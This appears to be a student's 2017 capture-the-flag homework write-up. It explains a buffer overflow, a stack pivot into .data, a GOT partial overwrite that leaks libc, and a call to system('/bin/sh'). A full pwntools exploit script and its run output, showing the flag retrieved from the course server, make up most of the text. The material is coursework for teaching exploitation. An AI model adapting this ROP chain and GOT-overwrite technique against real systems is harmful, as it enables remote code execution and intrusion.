hw3

0410788 CHING-WEN CHENG

October 27, 2017

Contents

1 Homework3

1.1 readme [150]

First we use checksec and find out that NX is enable, no PIE, partial RELRO. By observing the source code, there is a buffer of size `0x20` but it read `0x30` to the buffer, so we might overflow it, but we only have 2 qwords of space to use. Therefore, we move(write) the ROP chain to `.data` section by rewrite rbp to `.data` and continuous return to the read function inside main function. Each time it call read, it will write 4 ROP gadget and a new rbp address and return to read function. After the ROP chain is set, we return to the ROP chain.

The main idea of ROP chain is: leak libc address to bypass ASLR, overwrite got to call system. But we only have `printf` & `read`, and `printf` required at least `0x2128` bytes of stack, we can't use `printf` as long as our stack is on `.date` section with size of `0x1000`. because of alignment, the lowest 1.5bytes will be the same as the offset in `libc.so.6`. We overwrite the lowest byte of `read` got to `0x80` to call `write`, then we can leak libc and compute the address of `system`.

1.1.1 Code

```python
from pwn import *

host = "csie.ctf.tw"
port  = 10135

# host = "127.0.0.1"
# port = 8888

payload = b"A" * 0x20
buf1 = 0x602000 - 0x1a0
buf2 = buf1 + 0x30
buf3 = buf1 + 0x60
```

```python
buf4 = buf1 + 0x90
buf5 = buf1 + 0xc0
buf6 = buf1 + 0xf0
buf7 = buf1 + 0x120

printf_plt = 0x4004b0
read_plt = 0x4004c0

pop_rdi = 0x4006b3
pop_rsi_r15 = 0x4006b1
pop_pop = 0x4006b0
main_read = 0x40062b
ret = 0x400499

printf_got = 0x601018
read_got = 0x601020

system_off = 0x45390
printf_off = 0x55800
write_off = 0xf7280
resolve = 0x4004c6


context.arch = "amd64"

rop = flat([payload, buf1, main_read])
#set read got to write
rop0 = flat([pop_rsi_r15, read_got, 0,
             pop_pop, buf2 , main_read])
rop1 = flat([pop_rdi, 0, read_plt,
             pop_pop, buf3, main_read])

#leak
rop2 = flat([pop_rdi, 1, read_plt,
             pop_pop, buf4, main_read])

#read system to printf got
rop3 = flat([pop_rsi_r15, printf_got, 0,
             pop_pop, buf5 , main_read])
rop4 = flat([pop_rdi, 0, resolve,
             pop_pop, buf6, main_read])

#read shellcode gadget
rop5 = flat([pop_rsi_r15, buf7+0x10, 0,
             pop_pop, buf7 , main_read])
rop6 = flat([pop_rdi, 0, read_plt,
             pop_pop, buf1-0x30, main_read])
rop7 = flat([b"A" * 0x20, buf1 , ret])


r = remote(host, port)
r.recvuntil(":")
r.send(rop)
r.send(rop0)
r.send(rop1)
r.send(rop2)
r.send(rop3)
r.send(rop4)
r.send(rop5)
r.send(rop6)
r.send(rop7)
r.send(b"\x80")
k = bytes.hex(r.recv()[0:7][::-1])
write_addr = int(k, 16)
libc_base =  write_addr - write_off
system_addr = libc_base + system_off
print("system addr:", hex(system_addr))
ropx0 = flat([system_addr, write_addr - 0x60,
              libc_base + 0x20740, libc_base + 0x6fe70
              ,0,0])
r.send(ropx0)
ropx = flat([pop_rdi, buf7+0x28, printf_plt,
             b"/bin/sh\x00",  ret, ret])
r.send(ropx)
r.sendline("cat /home/`whoami`/flag")
f = r.recvline()
print(f)
#r.interactive()
```

```
[x] Opening connection to csie.ctf.tw on port 10135
[x] Opening connection to csie.ctf.tw on port 10135: Trying 140.112.31.96
[+] Opening connection to csie.ctf.tw on port 10135: Done
system addr: 0x7f33fbf9a390
b'FLAG{CAN_YOU_R34D_MY_M1ND?}\n'
[*] Closed connection to csie.ctf.tw port 10135
```